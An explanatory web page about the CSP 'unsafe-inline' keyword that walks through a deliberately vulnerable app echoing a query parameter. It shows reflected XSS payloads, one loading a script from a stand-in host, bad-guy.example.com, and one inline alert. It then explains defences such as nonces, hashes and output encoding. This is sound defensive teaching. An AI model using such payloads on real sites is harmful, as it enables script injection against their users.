unsafe-inline Source List Keywordunsafe-inline Content Security Policy (CSP) keyword allows the execution of inline scripts or styles.Except for one very specific case, you should avoid using the unsafe-inline keyword in your CSP policy. As you might guess it is generally unsafe to use unsafe-inline.
The unsafe-inline keyword annuls most of the security benefits that Content-Security-Policy provide.
Let's imagine that you have an app that simply output's a name from the query string variable name, eg:
Hello #url.name#
When you hit the URL: /app?name=Pete, the response is Hello Pete. This clearly is an open window for a reflected cross site scripting attack. The attacker can simply inject a script tag:
/app?name=<script src="https://bad-guy.example.com/bad-stuff.js"></script>
When someone requests that URL the bad-stuff.js will execute.
We can prevent our app from loading JS from bad-guy.example.com using CSP. If we have the following policy:
script-src: 'self'
Now because we specified 'self' in the script-src directive we can only load JS from the same origin as our app, the request to load a script from bad-guy.example.com will be blocked by CSP!
CSP will also prevent inline scripts from loading, so if you have some legit JavaScript on your site, like this:
<script> doSomething(); <script>
That inline script will also be blocked by CSP by default. There are ways to allow it, such as nonce and hash. But the sledge hammer way to allow it would be to add unsafe-inline to your policy. Suppose we added it to our policy:
script-src: 'self' 'unsafe-inline'
Now, go back to our vulnerable example app and try this:
/app?name=<script>alert('xss');<script>
We have reopened our XSS hole that was patched by adding CSP.
Note: We are usingalert('xss')as an example of a function call in JavaScript to illustrate the weaknessesunsafe-inlineadds. In case you ever wondered why everyone is so concerned about thealertfunction, if you can execute an alert function call, an attacker can probably find a way to execute whatever JavaScript they wanted to.
Finally make sure you also patch your XSS vulnerabilities in your app code by properly encoding variables before outputting them.
When you want to allow inline scripts or styles on a page that uses CSP, there two much better options: nonce or hash.
Besides just allowing inline script tags, unsafe-inline also allows all of the JavaScript event handlers to execute, for example code like this:
<button onClick="doSomething();">Do It</button>
Another way to allow such unsafe inline JavaScript code is with the unsafe-hashes source list keyword. While it is also considered unsafe, it better to use unsafe-hashes than it is to use unsafe-inline.
It is only ok to use unsafe-inline when it is combined with the strict-dynamic csp directive. On browsers that support strict-dynamic (CSP Level 3+), the unsafe-inline is ignored, and provides a route to backwards compatibility on browsers that support CSP Level 2 or lower.
In other words, you should only use it if you really know what you are doing!
The most common reason that unsafe inline is not working is that you forgot to wrap it with single quotes. It should be specified as: 'unsafe-inline'
No, you cannot use unsafe-inline with the frame-ancestors csp directive, you would get an error message like this:
the content-security-policy directive 'frame-ancestors' does not support the source expression ''unsafe-inline''
unsafe-inlineThe CSP unsafe-inline source list keyword has been part of the Content Security Policy Specification since the first version of it (CSP Level 1).
Internet Explorer 11 and below do not support the unsafe-inline directive. This means that IE11 will simply ignore the policy and allows the execution of script or css as if no policy existed.
Want to learn the ins and outs CSP? Grab a copy of the CSP Developer Field Guide. It's a short and sweet guide to help developers get up to speed quickly.
Grab a CopyAdvisory Week is a weekly roundup of all the security advisories published by the major software vendors.